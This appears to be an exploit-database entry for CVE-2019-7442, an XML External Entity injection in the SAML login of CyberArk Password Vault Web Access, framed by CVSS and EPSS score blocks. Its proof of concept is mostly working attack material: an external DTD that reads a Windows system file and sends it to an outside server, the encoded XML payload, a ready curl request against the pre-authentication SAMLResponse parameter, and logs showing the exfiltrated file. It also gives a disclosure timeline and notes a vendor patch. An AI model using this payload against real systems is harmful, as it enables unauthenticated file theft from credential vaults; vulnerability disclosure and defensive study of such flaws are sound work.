7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.068 Low
EPSS
Percentile
93.9%
# Exploit Title: CyberArk XML External Entity (XXE) Injection in SAML
authentication
# Date: 10/05/2019
# Exploit Author: Marcelo Toran (@spamv)
# Vendor Homepage: https://www.cyberark.com
# Version: <=10.7
# CVE : CVE-2019-7442
-----------Product description
The CyberArk Enterprise Password Vault is a privileged access security
solution to store, monitor and rotate credentials. The main objective
of the solution is protecting the privileged accounts that are used to
administrate the systems of the organisations.
-----------Vulnerability description
This vulnerability allows remote attackers to disclose sensitive
information or potentially bypass the authentication system.
-----------Vulnerability Details
# Exploit Title: XML External Entity (XXE) Injection in SAML authentication
# Affected Component: Password Vault Web Access (PVWA)
# Affected Version: <=10.7
# Vendor: CyberArk
# Vendor Homepage: https://www.cyberark.com
# Date: 18/12/2018
# CVSS Base Score: 7.5 (High)
# CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
# Exploit Author: Marcelo TorΓ‘n (Nixu Corporation)
# CVE: CVE-2019-7442
# CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7442
-----------Technical Description
It has been found that the XML parser of the SAML authentication
system of the Password Vault Web Access (PVWA) is vulnerable to XML
External Entity (XXE) attacks via a crafted DTD. No user interaction
or privileges are required as the vulnerability is triggered in
pre-authentication.
The vulnerable component is: https://example.com/PasswordVault/auth/saml
The vulnerable argument: SAMLResponse
-----------POC
# pepe.dtd is an external entity stored in a remote web server where we define the file that will be read and the server that will be used for the exfiltration:
<!ENTITY % data SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://externalserver.com/?%data;'>">
# The malicious XML payload where is defined the address of the external entity defined in the previous step:
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://externalserver.com/pepe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
# XML payload base64 encoded + equal symbols URL encoded:
PCFET0NUWVBFIHIgWwo8IUVMRU1FTlQgciBBTlkgPgo8IUVOVElUWSAlIHNwIFNZU1RFTSAiaHR0cDovL2V4dGVybmFsc2VydmVyLmNvbS9wZXBlLmR0ZCI+CiVzcDsKJXBhcmFtMTsKXT4KPHI+JmV4ZmlsOzwvcj4%3d
# CURL command to exploit the XXE:
curl -i -s -k -X $'POST' \
-H $'Host: example.com' -H $'User-Agent: PoC CyberArk XXE Injection :(' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 177' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
--data-binary $'SAMLResponse=PCFET0NUWVBFIHIgWwo8IUVMRU1FTlQgciBBTlkgPgo8IUVOVElUWSAlIHNwIFNZU1RFTSAiaHR0cDovL2V4dGVybmFsc2VydmVyLmNvbS9wZXBlLmR0ZCI+CiVzcDsKJXBhcmFtMTsKXT4KPHI+JmV4ZmlsOzwvcj4%3d' \
$'https://example.com/PasswordVault/auth/saml/'
# Checking the logs of the external server:
example.com - - [XX/XX/XX XX:XX:XX] "GET /pepe.dtd HTTP/1.1" 200 -
example.com - - [XX/XX/XX XX:XX:XX] "GET /?;%20for%2016-bit%20app%20support%0D%0A%5Bfonts%5D%0D%0A%5Bextensions%5D%0D%0A%5Bmci%20extensions%5D%0D%0A%5Bfiles%5D%0D%0A%5BMail%5D%0D%0AMAPI=1 HTTP/1.1" 200 -
# And decoding the content of the logs it's possible to read the requested file of the machine:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
-----------Timeline
18/12/2018 β Vulnerability discovered
10/01/2019 β Vendor notified
23/01/2019 β Vulnerability accepted
05/02/2019 β CVE number requested
05/02/2019 β CVE number assigned
19/02/2019 β Vendor released a patch
19/02/2019 β Advisory released
-----------Proof of Concept (PoC)
https://www.octority.com/2019/05/07/cyberark-enterprise-password-vault-xml-external-entity-xxe-injection/
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.068 Low
EPSS
Percentile
93.9%